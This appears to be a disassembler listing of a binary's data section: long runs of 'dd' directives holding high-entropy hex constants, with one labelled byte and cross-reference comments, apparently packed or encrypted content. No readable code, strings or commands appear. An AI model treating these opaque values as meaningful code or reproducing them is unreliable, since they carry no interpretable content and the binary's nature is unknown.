		dd 69004896h, 502DAD4Ah, 35802EE6h, 3C7A036Fh, 9600B9B4h
		dd 0D37CB638h, 0ACDADDh, 63558C19h, 61A0A15Eh, 0E5252800h
		dd 0CFF2625Bh, 328B3A29h, 7594E680h, 2A7C4555h,	0B14BCB8h
		dd 0DBA853h, 8A3E7F8Dh,	364A156h, 0AF315C0h, 1AF8E981h
		dd 1101DBECh, 0DAC97A0Dh, 74D4F68Dh, 3B080FC0h,	62003D40h
		dd 36A14D88h, 92E05A18h, 6965821h, 71566339h, 0C109D82Dh
		dd 602C3266h, 0B284CC44h, 5DE624h, 418BB08Dh, 5061E782h
		dd 3045F400h, 6251733Eh, 0AEA938D7h, 0DB5CA082h, 40401A20h
		dd 8200D3ADh, 0FE3743A7h, 0A0C9560Bh, 0DD3DB9h,	545EDB71h
		dd 15B01FA3h, 0BC00607Fh, 7FBA16AFh, 0F422B9h, 10A0B3BEh
		dd 31097AE9h, 661E67FAh, 7500CE9Dh, 13A22DDAh, 58500FDh
		dd 2A5D5E9h, 3400388Eh,	52F29F4Eh, 39C4F8Ch, 91B43296h
		dd 0FDDA8415h, 82AC4040h, 44535B0Ah, 0CF81CCB1h, 0B0C8EE24h
		dd 0B879AF43h, 7F0BD5Dh, 0AC4D69D0h, 40BB25E4h,	3B750CF8h
		dd 9701BEF2h, 57014F7Eh, 0BC202C65h, 0F4AE3D41h, 46E3AC4Bh
		dd 13C84CA4h, 9040DFB4h, 0B6A9F898h, 200B8982h,	7A007EE8h
		dd 0A78826FFh, 1A1C3F9h, 25B87DACh, 202D770Dh, 7E027F4Dh
		dd 6B44C61Dh, 1847935h,	309B18F8h, 38FE80A7h, 4ECF7F06h
		dd 3DD00F4h, 82BA4B1h, 9800D843h, 0C38E737Ah, 0F7598816h
		dd 1F2320E8h, 407DE65Ah, 6C5ECAD6h, 921C561Ah, 0CCA8FDACh
		dd 84A21213h, 11069003h, 9D249004h, 788C0020h, 4FF3361Dh
		dd 3E00D8B0h, 0F0F29E4Ch, 585FB49Ah, 7CC24Eh, 99FFD66Dh
		dd 783BF6CEh, 680FA100h, 0A22C2D88h, 0A7010082h, 0C19DC887h
		dd 160F8B4Eh, 22BF6BCAh, 48FBFE52h, 77B42954h, 0A61001D1h
		dd 9C8E8472h, 796EC0B0h, 53D6D900h, 75F6239Ah, 39731CE8h
		dd 9D2B800Fh, 503A8289h, 9C70C00h, 0B9B05A98h, 0EB1B00ABh
		dd 0B79DF776h, 0B57F301Eh, 4224D300h, 59152E38h, 0AE5A00B1h
		dd 99CFD27Eh, 400F90E9h, 20EE665Bh, 0B4024C8Eh,	0A61A0042h
		dd 9FB5E41Fh, 36E4FD29h, 0FF4DA33Bh, 7C9573Bh, 1B712CCh
		dd 0D0F77CB3h, 3F5942Bh, 1B892670h, 44B0247Dh, 7300198Ch
		dd 991FBD98h, 37951Ch, 4C2D6D14h, 0B65C4990h, 74311D00h
		dd 2A3ADA7h, 4BDB00C5h,	0E46233A8h, 2500F5D7h, 93AFCC1Ah
		dd 78B1851Dh, 1E95004Dh, 7D1C405h, 197B5532h, 34B26300h
		dd 62C30E5h, 592F079Dh,	0D06E5A86h, 0BC4AAD45h,	6F6A6000h
		dd 9B054D64h, 0A4B0038Ah, 0FEBD76CDh, 0AC98FAA3h, 3800996Ah
		dd 48349E94h, 0F4D30116h, 3A24DEFh, 5E87BA00h, 0A80C3B0Eh
		dd 1422CE0Eh, 1C9DE0E8h, 2142B2h, 0CF121E6Ch, 0F2BC98DDh
		dd 78265307h, 8C30550Dh, 7B560Ah, 315449ACh, 29626F05h
		dd 0D4A62007h, 0EB538677h, 3022A19Ch, 7BAF6DCh,	421802ACh
		dd 8B0E206Fh, 0FA398AFDh, 85278975h, 1CC30004h,	1EA5B2AAh
		dd 4036FF93h, 0EF0250C7h, 0AF000146h, 8CE63A69h, 7D74C1h
		dd 0FE4B67EDh, 0D9FF851Bh, 2ACAB100h, 7269550Ch, 2C6872CDh
		dd 3FE7461Ah, 4D8AEF00h, 95BDE460h, 0BE393C06h,	11887Ch
		dd 0F4101B65h, 1149DD2h, 0B55A1C0Fh, 455FC032h,	77270618h
		dd 0B3880779h, 0B00B639Dh, 0DB3BB4CFh, 0A195F8C0h, 3F625A3h
		dd 2F87E74Bh, 0EB04C9Bh, 0DC00CED5h, 79F19752h,	150B1FA8h
		dd 18A6E52Bh, 4FD54D80h, 0FA19CC4Eh, 42184A7Bh,	52ACD8h
		dd 0C4BAF059h, 63169F5Ah, 0EF736EFAh, 0EB68B903h, 0F835522Ch
		dd 7F72A21h, 0BDB4B714h, 0B2F80FDh, 0AA00611Dh,	63A7764Ah
		dd 0F38F44h, 0C5E5136Bh, 0FEDA4B9Eh, 0A869D601h, 0A20FEE96h
		dd 0CFBC30h, 28E0EBDFh,	1112DB32h, 0FA90CA02h, 40FB5CAEh
		dd 4AFD6Ch, 5D92F722h, 45962D03h, 0BB30BF00h, 772BB7B4h
		dd 683A0043h, 0C8557A34h, 0E8004B42h, 597511Fh,	719EE7Ch
		dd 5C9FE627h, 0BF2A9008h, 2100034Dh, 0CE8BB96h,	756E3624h
		dd 0ED4617B4h, 8C650009h, 0D41C87ACh, 3F00FC78h, 578617EAh
		dd 59A79Eh, 40233666h, 0FB011AFh, 1D2AF407h, 0B7A055DDh
		dd 6CB2A8h, 0A7D55A65h,	34A339E1h, 0E7BEED0Eh, 0EFC0E00Dh
		dd 0FAF6B9FFh, 0C1EC1354h, 0F95500F0h, 3DFA9394h, 3E5B5E00h
		dd 0F3734A9h, 0B51B007Ch, 0ED1E2B91h, 93E8BD1Ah, 384E800h
		dd 0C36C5B3Ah, 576D00EBh, 8AF74BDEh, 0BD00C4D3h, 0CCFDED81h
		dd 271F2Ch, 11C7F406h, 649B9856h, 2A32E300h, 173F50C4h
		dd 0D155010Fh, 6A133A0h, 0E8B820ADh, 8354Ch, 961D5129h
		dd 0F94FF64h, 0CBD4B02Dh, 378A28A0h, 90795CE9h,	9FF33A3Eh
		dd 8200DE7Ch, 4DBB0B36h, 3F851EE8h, 0B5B24039h,	0E29991E3h
		dd 7120FA4Dh, 0BB303273h, 0AA346A20h, 3A850180h, 1078E02Dh
		dd 0A4F8C7B7h, 550031ADh, 0B67A9996h, 77F951h, 683DE08Dh
		dd 0B9368B0Fh, 3F766F00h, 6C20D0D8h, 985E0E3h, 81B7F3C3h
		dd 0A9BDE803h, 0DB287B98h, 0F601B8F8h, 56456DE8h, 0AAFCD4D6h
		dd 86AC2E85h, 0AF1F0017h
		dd 0F349CA14h, 3607BC90h, 0D82F8AD4h, 0CE658F00h, 48760FE1h
		dd 0B700FBD7h, 7114C511h, 24B3B93Eh, 9300345Dh,	36E0FAD1h
		dd 0C171F12h, 0FF0E407Ah, 2A34439Dh, 0A9C8C300h, 92139839h
		dd 6993001Ch, 37117854h, 9B0F03D6h, 0A0803D77h,	443F0DF2h
		dd 0E98800CCh, 92ED407Dh, 0FEED1E61h, 57B0CC90h, 2F12AF12h
		dd 6B790402h, 0CE66C0F0h, 0EB4D0078h, 90D86AB7h, 0B6008AB3h
		dd 8D65BD74h, 3895046Ch, 3180E43Eh, 0B955308Eh,	0C50FE0A3h
		dd 20473A80h, 96D165A2h, 86E900D8h, 1A22CCAAh, 0B4004ADAh
		dd 84A05711h, 129B77h, 17E4D7BBh, 5E0A6979h, 3DEE5C03h
		dd 886EC895h, 3B342E15h, 6B80BD55h, 0E3F39E53h,	8001EC1h
		dd 0ADD4AB9Ch, 309AC71Bh, 24D19388h, 7814F74Eh,	1C408E9h
		dd 0E29B1C6Eh, 71F0A32Fh, 0F10A00EAh, 60ED8AE5h, 780786C2h
		dd 444B4E13h, 7DFBA00Fh, 5015FCh, 1FC894E6h, 3DB9B7E1h
		dd 93843600h, 0B6BA32E7h, 57351C1Eh, 20720D7h, 2B63D103h
		dd 0B0437EB5h, 0E8D56D56h, 1CFDB379h, 2CCE899Eh, 47BC0048h
		dd 72AB6C33h, 8F3C5B18h, 0EEA463A8h, 209292h, 27451E15h
		dd 2B447665h, 2814A91Fh, 80BE630Fh, 58C83BD1h, 3A3F0067h
		dd 1E7D0E72h, 400335A4h, 9C065FC7h, 0B802E042h,	0AF6E338Bh
		dd 0C800798h, 10013F49h, 0BA377BC0h, 25F0FE24h,	0CC840520h
		dd 0A55BACh, 92950E48h,	5DF8B483h, 0E581B01Eh, 77540580h
		dd 59337BCFh, 30AB04Dh,	80B8659Ch, 2B423C7Eh, 0AC00B518h
		dd 4DE47C28h, 0C53AC0h,	566ECD4Ah, 0B99A91ECh, 27C39F00h
		dd 0CFA92190h, 2F5D008Fh, 66E10918h, 9D00481Eh,	2EFA36F8h
		dd 0F073863Dh, 63170049h, 5C7555F1h, 0A300AEFCh, 4EC29715h
		dd 962A02h, 88938E17h, 0ABDF670Fh, 0F6CDE500h, 0AE29AD5Eh
		dd 0F8AC0521h, 9F3ED5h,	8EC9B7E2h, 0AD00EA3Ah, 6FE5683Ch
		dd 0DA0A19h, 81415BF7h,	8F1863D5h, 9E56A201h, 0EE483CE9h
		dd 0F1F6DE4h, 64AB477Bh, 27837D40h, 0A400164Dh,	1790E572h
		dd 0D7EF18h, 0D6F97EFDh, 0F55B846Ch, 9821BA05h,	980161E0h
		dd 438A344Dh, 0BC50A454h, 0FB1CE004h, 1E28C0D8h, 0F93FF5BBh
		dd 93AEC414h, 0D58A00ACh, 1CFBFFACh, 678C038Eh,	57F61D72h
		dd 44FA2939h, 927344A9h, 22687B20h, 46504290h, 0EC44F128h
		dd 0DD14A0A6h, 92204063h, 85DE2284h, 0A5E410EDh, 0BC44009Ah
		dd 0DF8F3AB9h, 0C4B02DBFh, 0D10050F0h, 1A2B9807h, 0A0BE57h
		dd 7EC5D706h, 1FA274EBh, 0DC6EC400h, 0BCCC4CD9h, 0AD04075Ah
		dd 10DB9067h, 0A3387AD4h, 5922D307h, 0C0BE7D47h, 94D043E8h
		dd 0AE8602BDh, 5D21198Dh, 1D64ECC0h, 1FA39540h,	8FA827E2h
		dd 0C6A38E07h, 2100EE52h, 18DF3B4Fh, 151408C7h,	0D003E5BBh
		dd 37DEBD00h, 0F4C81A67h, 0DDCB0400h, 73C3F0A2h, 63440E0Ch
		dd 6FE69C3Bh, 0E4FAAE7Eh, 64798A00h, 0B04F545h,	0B1A20055h
		dd 486E9DACh, 0CF245446h, 4E83F4E3h, 0F0A2EA58h, 0E20CD0B9h
		dd 387C35h, 0E15BB1C7h,	0F74D3A0Dh, 0B576FA1Dh,	1100F0ECh
		dd 0D31E1A12h, 0B1EA00A2h, 4195128h, 0A07F5460h, 0ECA3C903h
		dd 0A8A59A0Fh, 77977Ch,	96E0594Eh, 1F6C3CE2h, 87D7D100h
		dd 0D07CAD29h, 1DC77CBh, 0A52C5543h, 70547ACCh,	0CDF046DCh
		dd 397B91F8h, 0D80EC22Ch, 83A0E600h, 18315CA1h,	1990EAF2h
		dd 8705EED9h, 5310BCB7h, 6A33DC80h, 0F79E00C3h,	0C9690E93h
		dd 0A70081DAh, 0CE3964F1h, 233F515h, 0C72C7452h, 6A40186Bh
		dd 0D4B0B05Ch, 65FDFF00h, 37912812h, 0E134009Eh, 0CF645FBBh
		dd 0A1003E4Fh, 924AB013h, 5AF1DF6h, 0E3D17D71h
		db 4
byte_520045	db 0, 0DCh, 14h		; DATA XREF: ___:004385A0o
					; ___:004385B8o
		dd 5C976EA3h, 8FA4D40Fh, 0F884F3Eh, 0F60937h, 73B12B41h
		dd 9D3300CFh, 10A847C8h, 52FE23E9h, 535FD600h, 5921CC69h
		dd 0EB010B83h, 0C000C59Bh, 0A55284D8h, 0AEE09494h, 1A6F57h
		dd 0F8E2D786h, 94D19FA4h, 0D9317713h, 0E07211h,	0AD3E4082h
		dd 160F51Dh, 0D39D88A9h, 2401A429h, 2C00A830h, 0DA16A3C3h
		dd 0C25532h, 0B5670907h, 269E237Eh, 47E89F1Fh, 40FA80BBh
		dd 0C8AD0E2Fh, 6C5D00E2h, 94B211A9h, 904CA085h,	1F78091Ch
		dd 629821D4h, 7EF9DCDAh, 7915FDD4h, 0F7E60076h,	80CAF557h
		dd 0F0001069h, 7B0A3D1Eh, 2715FBA6h, 1F60E6B0h,	9A009218h
		dd 9374637Ah, 78D16236h, 0E2C300C6h, 0FB511A33h, 961C0167h
		dd 28010E8Fh, 3C0B23ABh, 5382CCh, 184354Ah, 0B313AACFh
		dd 9A197E00h, 82029BE9h, 116B0F25h, 0F640206Eh,	0F350B5F8h
		dd 59CA7209h, 319800D4h, 0B788E7Fh, 0D82D532Ah,	79E4A080h
		dd 0E312521Dh, 680013E2h, 14128CEEh, 85700042h,	7FB4A821h
		dd 442C5007h, 0FB0A3679h, 990EFB5Eh, 2C0093B3h,	0AC544188h
		dd 0A6D60148h, 397CF4A1h, 68FF082h, 4720DE00h, 0A30A532Fh
		dd 190900B5h, 9BE0E172h, 3D00298Ah, 0BBB46C0Dh,	12F75B24h
		dd 817006h, 8AFDE92Bh, 2B003936h, 5A720D6Ch, 416407h, 0D291A060h
		dd 77BF2E27h, 0EF60807h, 49436602h, 618192FEh, 0D82994FCh
		dd 28B4C202h, 24400C42h, 2C9010FBh, 85A13C04h, 7CC0B572h
		dd 27F0111h, 16679364h,	70607BE3h, 2E000313h, 921B0754h
		dd 0E1D529BBh, 8DD8101h, 0CA6C3CFCh, 7D02DA00h,	31F10C3Dh
		dd 999A5500h, 0B489A614h, 0B754094Ah, 908091D2h, 104FE2CAh
		dd 1E09E303h, 130E888Bh, 0CCF32F0h, 5040F0DBh, 0B42D8609h
		dd 7A91A0B2h, 0F2C44E3Bh, 0EB9800DDh, 6A03833Eh, 0D00035B8h
		dd 0ED814D1Fh, 652E90h,	0FFA7746Fh, 4751CE7Ah, 0BB21E403h
		dd 0E0F5DAAEh, 0E095BD07h, 1DE27799h, 40F43E98h, 128F0D69h
		dd 6A0E51B8h, 628962BDh, 55994657h, 50E4C640h, 31493Fh
		dd 9C52D4C7h, 0C115A4h,	0D2FCAA43h, 9D65B986h, 8EBB5B03h
		dd 0B0E98C99h, 0B30C14h, 23810EDCh, 0F183879Bh,	8C55A300h
		dd 7D0A9579h, 0B05490D6h, 0C5B51C86h, 0A5817C3Dh, 0AE303E5Dh
		dd 1FCCE43Ch, 5178709h,	1BCB079Bh, 0F7495E70h, 223E47Ch
		dd 5C9912A2h, 7460CC5Dh, 2C128475h, 540033E8h, 7FB9FD54h
		dd 6AFC60h, 81725F67h, 0D7DEA34Ah, 0AC73B07Eh, 565DEE04h
		dd 50801D3Dh, 0F21120Ah, 0E79C6387h, 7C37F5E0h,	46009DADh
		dd 0A1225E16h, 1E6E3C09h, 40317588h, 0EF19BE45h, 0EC98489Ah
		dd 4CC24700h, 844DBF21h, 0CE6500E2h, 0AE11F601h, 0E0007149h
		dd 19065534h, 727F7B91h, 8B2B006Ah, 96CC66E6h, 0A40062AEh
		dd 1A50749Dh, 0F4DEB8E1h, 0F18500E2h, 30AB9BCAh, 0EE00FA55h
		dd 0FC9F5097h, 95046Ah,	403B80D6h, 0EDABB971h, 0D2006B90h
		dd 8EEFC105h, 4869AD82h, 7E01A07Ch, 4A8F30B4h, 6A108995h
		dd 0B021009Eh, 0C8FFD4h, 12C2D206h, 4887D377h, 0C9B5140Ch
		dd 9B7869h, 1344393Ah, 0B35F5E97h, 6C74F51Ch, 6B208A98h
		dd 5039002Ch, 251F0248h, 0A800B22Ah, 0E1DEB065h, 6F6003h
		dd 390CCB18h, 55951BE3h, 0D48F0B00h, 0BC6796E9h, 4BDCBA46h
		dd 4FC0235Dh, 0F698F7F8h, 0BFF23200h, 0AEAB6906h, 27DA0192h
		dd 2C5B8C79h, 482CE3h, 0FDB38BF8h, 0AF2734Fh, 5B229C19h
		dd 0CD1B00D8h, 513B17C3h, 0F126B11Dh, 4441E11Dh, 5B164B43h
		dd 76649056h, 724601AFh, 0B8563BB7h, 2D582405h,	6C91FA00h
		dd 0CDB135A3h, 45D90FC5h, 5F01A66Dh, 0C0AF9687h, 0F70EFE63h
		dd 40A5714Fh, 0A60B412h, 342A003Ah, 9E44F424h, 9C081109h
		dd 0F3592C4h, 0AD2566BCh, 0E408CD3h, 0E9880A00h, 835D36BEh
		dd 5DF0071h, 3A32AC1Ah,	8E00F8CBh, 65ADAEAFh, 3F51CA39h
		dd 0A4007F2Fh, 0F826294Dh, 8D00852Eh, 8CFCA190h, 0B0FAFF67h
		dd 6C2F0094h, 23D443Fh,	0E013EB09h, 920E7C27h, 0D56DA004h
		dd 0B5A055h, 8B16B018h,	5759FFAAh, 3900CA7Eh, 0D5445483h
		dd 3955A6Ah, 582EF012h,	80ED1B45h, 0A961DBA4h, 0E40C8A00h
		dd 71DCA2C0h, 73A601AEh, 26236E35h, 0A354ECCBh,	0AFBC9806h
		dd 16F9AAC2h, 0AD88F7h,	6746EEB8h, 0FB3E09EBh, 9D6E0075h
		dd 0BD7CA2BCh, 2BC20F7Dh, 0CC6EE57Bh, 713DC327h, 2049F508h
		dd 7400C458h, 831E271Dh, 0E15C7Ch, 45549551h, 0B52EA76Ch
		dd 0BA06CA00h, 68A51727h, 0EB9D000Eh, 45AA87D5h, 405C307h
		dd 0B3DE601Ch, 7F6024C7h, 2D3306h, 0A4D8FF16h, 0C446B1A6h
		dd 60634D00h, 2CD41E9Fh, 9EEF1DB8h, 4824808Ah, 4A1C3176h
		dd 4C3648h, 7A5366C4h, 488D5CC7h, 0CC2C2710h, 9C3D0B50h
		dd 0D0BA2F80h, 0AF020216h, 15CD8EF7h, 4B6060F9h, 0C12A000Ah
		dd 0DD230309h, 0B916D10Fh, 4C00FCF8h, 0BE0CBF51h, 7860592Ah
		dd 4E2E1500h, 4CB613Eh,	5D076C98h, 1ECEC377h, 5501E0CFh
		dd 3302416Dh, 4D2007ABh, 0E71C9A88h, 0A8630F09h, 0FFDF07D8h
		dd 4F213ED0h, 6DDF3DBFh, 0B661AF82h, 0E480700Dh, 49F2F8C8h
		dd 14540E03h, 0B903316Dh, 3EE0B4ECh, 21F0766h, 41884F20h
		dd 0F0181A90h, 5B7C35A4h, 650D7300h, 42E481C1h,	44792C8Bh
		dd 0A7E90005h, 187AD5E1h, 800CC938h, 289AD63Fh,	0E41549EEh
		dd 0F8961268h, 0DC1ECCh, 0E5169C58h, 0A9001381h, 0DAF184EDh
		dd 0D89CB39h, 8530A0D0h, 0BA8C05B2h, 0B7FA7AC0h, 7238099Eh
		dd 83015668h, 0C70EB5A6h, 986FC0B7h, 0CF264FE0h, 150022BFh
		dd 0DEAFC93Ah, 82D9A06Dh, 2D3E00AAh, 0DF20E19h,	920038A7h
		dd 2A700349h, 121DD520h, 75D898Dh, 0F07FD784h, 0B0AE0FDBh
		dd 0C75738h, 60FC8C98h,	1D0523h, 36D9C1F4h, 3E537ECAh
		dd 0AB016D06h, 0A0120FB3h, 0FC28EA1Ch, 1157004Bh, 64161209h
		dd 0E1EEC503h, 8B493006h, 78210Eh, 0C61ADADEh, 6C718660h
		dd 827AB0C8h, 31E4E943h, 4478C4EAh, 0EE6AB700h,	6E87E74Eh
		dd 80C500D1h, 865944CAh, 0CCF39604h, 0FD721BEDh, 78C78B1Dh
		dd 0B8ADCEh, 0F82C1D17h, 87F70073h, 0AA70D77Ah,	240706FDh
		dd 58F4BE15h, 8D54CB53h, 0A075B0E0h, 5B5E2044h,	24C04B0Ch
		dd 80A45D08h, 0F3C1E289h, 0F5006944h, 277B29E5h, 0C9E835Eh
		dd 4BF16231h, 4228C0E8h, 0A005B08Eh, 6DD1D3A2h,	8CC1D301h
		dd 9EDC0D33h, 8A9A005Bh, 0B7F84026h, 7158E4CEh,	0E38907DDh
		dd 204CC917h, 1B970F64h, 37807B7Ch, 6B322BCFh, 755B7001h
		dd 84949D12h, 0B427B0D7h, 90790B61h, 0A581E13Ah, 0F825A15Ah
		dd 0F839C2A5h, 8041BB89h, 0A9AC84DDh, 988FBCCDh, 6A06010Bh
		dd 46490DA8h, 503CBDh, 0C7BA31ECh, 31D52EFh, 14760E3Dh
		dd 19B6C73h, 1E41D2C8h,	1D7948h, 8AFEB484h, 61B571h, 77297FE6h
		dd 33014617h, 8F00C4ECh, 0C567CA0Bh, 8695BEh, 55DDCB2Fh
		dd 0B101D646h, 51FE7603h, 0E06F6BF9h, 28CB94CAh, 41A08C0Bh
		dd 4383696h, 1BEDF30h, 77F030C7h, 3890E855h, 0A281A528h
		dd 6B7C4980h, 0A9DEF861h, 400001F2h, 0CE7BAF77h, 0B8354CE0h
		dd 7AAE1E99h, 256340D8h, 15E73EBBh, 6605DA3Bh, 10A1B6h
		dd 0FF1D9B53h, 0DE87ED2Fh, 17D39D00h, 207A0C19h, 214B8C0h
		dd 66A6BA67h, 0F8C8AE58h, 0A2606157h, 0D6B14240h, 0D96F1682h
		dd 3FF00028h, 914CACFCh, 10BF1200h, 0AD09B984h,	53E00Fh
		dd 3A0C58D6h, 0D1CA0362h, 83E38103h, 8823F4B0h,	2C311Bh
		dd 0B5EA9382h, 9B6A6188h, 0C7D50A0Fh, 92A90477h, 0B0C00EC5h
		dd 7D1F2FAh, 34538F64h,	0B1670F40h, 0BEB880FEh,	6D4AC7CDh
		dd 0F595FC00h, 12CDF4Ah, 0CC14EAC6h, 8EB59DF1h,	20814010h
		dd 474A9CABh, 0D61F002Fh, 7A4D35E7h, 0E3F295CDh, 2C30BA00h
		dd 0AA6D9F1Ch, 98DD17B5h, 0CE181434h, 4D202800h, 22F4A6D6h
		dd 64CB0717h, 98645C8Dh, 0C01117B6h, 0E905C06h,	664FB733h
		dd 175F4080h, 6505CEB3h, 875D4F38h, 79B094C0h, 0C0C04D6Dh
		dd 0FD074701h, 0F8EA135Bh, 65EC09B2h, 3A3DA090h, 13C95C27h
		dd 22076F1Dh, 4AF0C9ACh, 0EFA4490h, 4D267A8Ah, 30686CA0h
		dd 7F007ECBh, 6140F3BAh, 0AEFC24h, 0BCCC574Eh, 0B2C24A56h
		dd 0FF6BD000h, 0E1759084h, 550A1635h, 0A9D4008Eh, 0CF45093Bh
		dd 870F9B2Dh, 66C08604h, 0FC3D3957h, 241FCFFh, 6C17A3E5h
		dd 70C92088h, 2B4AC4FCh, 1C00C54Fh, 1EEAF685h, 0FE75B2h
		dd 9489B874h, 3C53E8E0h, 2B951C00h, 4BFA2138h, 63200091h
		dd 45F0B927h, 8C04E2BFh, 0FDA669ECh, 5B87EC80h,	0C3318028h
		dd 10C0789Ch, 7A627B3h,	79CBD9E6h, 0C4D5CE57h, 0B136C300h
		dd 0B866F6A4h, 0F2F3EE03h, 0E8E88A4Fh, 44249Bh,	43FF6FD0h
		dd 0B97F87B3h, 1300EE74h, 2384F007h, 30FA770h, 14E95B31h
		dd 2000A5B2h, 0ADC62B7h, 9883DBh, 26656695h, 47850E4Bh
		dd 1F198C00h, 0DFF56CEBh, 0DE144C61h, 41910C01h, 0EC9209A6h
		dd 0E3004950h, 2ADEBBA9h, 2393E4h, 9BF1CE5Ah, 0D1C8E147h
		dd 444B1900h, 5F7069C0h, 910625C2h, 0EDD70C0h, 0D23C8400h
		dd 6A1A9EE8h, 0D1930104h, 149CE6D8h, 4C807FD3h,	0C5DB63h
		dd 8DEBBA18h, 77FADE5Dh, 95C3C100h, 9E2D2E71h, 54101A2h
		dd 0BB9DF760h, 9C60EEE5h, 0AA00EFBFh, 7CB838B9h, 735ABC9h
		dd 3CDDD75Dh, 179F10C7h, 3A00B9DCh, 6903DFA9h, 161A50B5h
		dd 0E930E2Ch, 44C29F3Ch, 77400A20h, 4E02C845h, 69EF837Ch
		dd 0F9DC8003h, 0B91F33h, 1EA3F401h, 5D968790h, 0AE04B000h
		dd 0D4817A67h, 8E5000B6h, 0BD37C411h, 8A00F920h, 4C046E6Dh
		dd 550BFEh, 0CBCF8F57h,	0F63471B2h, 3466339h, 0E3B09BEh
		dd 2311009Bh, 7D88DC06h, 323CC789h, 4AF400A1h, 91C5E854h
		dd 14989562h, 0CB5B71A9h, 3E40101Eh, 68B2CD5Ch,	0FDFB024Dh
		dd 52B02315h, 78A6EAE0h, 0F9F02900h, 0EC6CC4F6h, 517012h
		dd 17042EF2h, 5AFF61DAh, 0DE3A8B12h, 0F0F19200h, 90C51CD7h
		dd 68551D67h, 1B2F87EBh, 4E996085h, 3BF0DF9Eh, 18153Dh
		dd 776A324Ch, 5AF13Fh, 0D9A349EBh, 455016ADh, 4000E07Bh
		dd 53A1B262h, 2C21DAA7h, 4D00E09h, 5F33FF9Ah, 6081905Fh
		dd 98356873h, 2840FC45h, 69D6B88Dh, 0CF6500E4h,	6DF582E3h
		dd 403DE224h, 963FFA2Dh, 616980B4h, 22D2E104h, 3DE80210h
		dd 0C1FA0123h, 0FF0F9C8Bh, 851C0E80h, 0B800C4AFh, 0E7E3C94Eh
		dd 0F030D9h, 0BAAA5844h, 0CF7E0506h, 29286907h,	30214308h
		dd 0E0EF5920h, 0BE8DFFh, 485E3334h, 0F85CA916h,	14BCA800h
		dd 0A647BACAh, 0DB7AD5h, 97CE33F4h, 635E3494h, 45913200h
		dd 9ED29FC0h, 0F30909FAh, 8318B6h, 0CAF05149h, 8500F40Ah
		dd 2BFE1EE2h, 0ED80D8h,	0E1F95006h, 63B0C44Dh, 0EAFFAE03h
		dd 0B875933Eh, 3D157380h, 0F64401h, 9490A07Ch, 0D636C2D1h
		dd 6720507h, 5170B492h,	0E6172DD7h, 5B113D68h, 0BA104D8Fh
		dd 4BDF9A80h, 0E20EB1A0h, 0A3CAF901h, 0D841F282h, 772ABF55h
		dd 4AF103A4h, 74262386h, 47789F98h, 75490900h, 7A3E2479h
		dd 20420254h, 25596A58h, 0A37EFF87h, 0AFCC6741h, 22446180h
		dd 6F60003Eh, 3DA8B2BEh, 3C6E737Dh, 6A74360h, 3B70B6F6h
		dd 75800177h, 810739C4h, 18CCEBBDh, 440F11C5h, 67811C9h
		dd 0E8D648h, 73A7A63h, 0A9B550h, 0CA5E3856h, 0AFF6DFBDh
		dd 4A115B00h, 75B02122h, 0CFFCC5h, 73E7E8CEh, 8BAFA7FCh
		dd 0F46D400h, 0D24887FDh, 0A9B62A5Bh, 1E3F7280h, 0A5F19Fh
		dd 5ECA2EE3h, 50E82638h, 3F10E20Ah, 590A10E1h, 41001C8Fh
		dd 0A80EFD17h, 0E80205D1h, 0C03843D9h, 1BBC8316h, 0CF3C1305h
		dd 0CBC0DAB1h, 0B48AE5Fh, 0AAAC192Ch, 0E1A1B80h, 0C83F7F7Ah
		dd 80B4B963h, 62CBC043h, 873E05h, 0E26728E1h, 2B895C21h
		dd 33BBD100h, 3643C582h, 5EA900E9h, 0BE087856h,	9500E887h
		dd 98969D60h, 1F25A417h, 0EE7CF8h, 0BAD61CAEh, 0A91D57AAh
		dd 558046F2h, 1054E343h, 4A3300C5h, 1ACE76C3h, 2D000B8Dh
		dd 5F36D51Eh, 0D06101h,	60B0551Bh, 0E89C40A3h, 0A403E600h
		dd 7548B28Dh, 1574387Fh, 5CD66187h, 33A1803Bh, 9500F771h
		dd 2E3CD75Eh, 0FCB23160h, 196E152Bh, 0C430A0BDh, 0B7488C80h
		dd 3F33D4B0h, 7F70867h,	96CE621h, 3872012h, 1A1FF1EDh
		dd 24A0FA4Fh, 4030ECFFh, 52EF5A5Ch, 0A849C51Fh,	0F4A92C07h
		dd 7263B3E0h, 0DBAD027Ch, 282AC042h, 20809CE2h,	0CF347DB2h
		dd 1FAF40C0h, 1ACA95h, 2C5C789Eh, 21C04011h, 398BDF01h
		dd 0A5C518A6h, 79F12080h, 99826922h, 270820A7h,	0D949C00Dh
		dd 3D60A98Dh, 0B2720AB1h, 26A80338h, 5FA7AA55h,	0D9220818h
		dd 6B6720h, 94629B2h, 68CFD32Fh, 161D4092h, 8F43751Ah
		dd 7A6AB85h, 0DFC75964h, 0D94861F8h, 76344881h,	0A81CB204h
		dd 18325986h, 0B26F6320h, 0E2573A84h, 74BA6181h, 8316A891h
		dd 487B921h, 4557A0A2h,	0E10F3C68h, 0D97DC081h,	0D8CBB85Eh
		dd 0C830EC13h, 1792A199h, 6AF600EAh, 0FB275E91h, 0C0076E2h
		dd 0A614B0B5h, 761626D1h, 20800059h, 2E7A4F0Dh,	98061BAEh
		dd 0F3026CC0h, 52A40948h, 1480E638h, 7C9D0779h,	2806EA3Ah
		dd 0A400E494h, 0FCE6B234h, 0C25BD12h, 10A9565Fh, 400397B9h
		dd 0DAB23E9Dh, 22BA873h, 4F3F1F0Ah, 0CD1DFD85h,	297C841Dh
		dd 270C80BAh, 0FE49756Bh, 0A91013Ch, 0B70A850h,	12112424h
		dd 4EA6261Dh, 7D1473Ch,	0C93005AAh, 8040A0D5h, 4280B1E7h
		dd 103C9077h, 6245893Dh, 32B4D60h, 410024A7h, 235BEF3h
		dd 74260B44h, 0D031017Ah, 0E5EC9271h, 0B6698642h, 5830DB9Ch
		dd 0D60C912Ah, 8411C9D3h, 4A7E8F00h, 26C566E2h,	0C4353A59h
		dd 5E21B030h, 0B6007E83h, 3DAD278Ah, 0B845FDDFh, 0A3F1295Dh
		dd 7E8B0124h, 1886E25Eh, 9F9A88B1h, 994E7E00h, 521F1025h
		dd 854D01AAh, 0C5B34E5h, 0D178345Ah, 0DD281AB0h, 3E07AC42h
		dd 59AF02DBh, 9CD4D634h, 150F404h, 41E63430h, 1559C423h
		dd 3000B843h, 0BBF7E6AEh, 1B021A15h, 6D4C4A0Bh,	0F2046919h
		dd 8A0E8h, 6313CFD5h, 84D899FEh, 0B3E494A5h, 4E6E1C60h
		dd 66C85315h, 368C01E8h, 0B3F26F1Fh, 9A329CECh,	2694664h
		dd 4889105Fh, 10DB316Fh, 2E1057FFh, 0EDB42Eh, 0C1A72555h
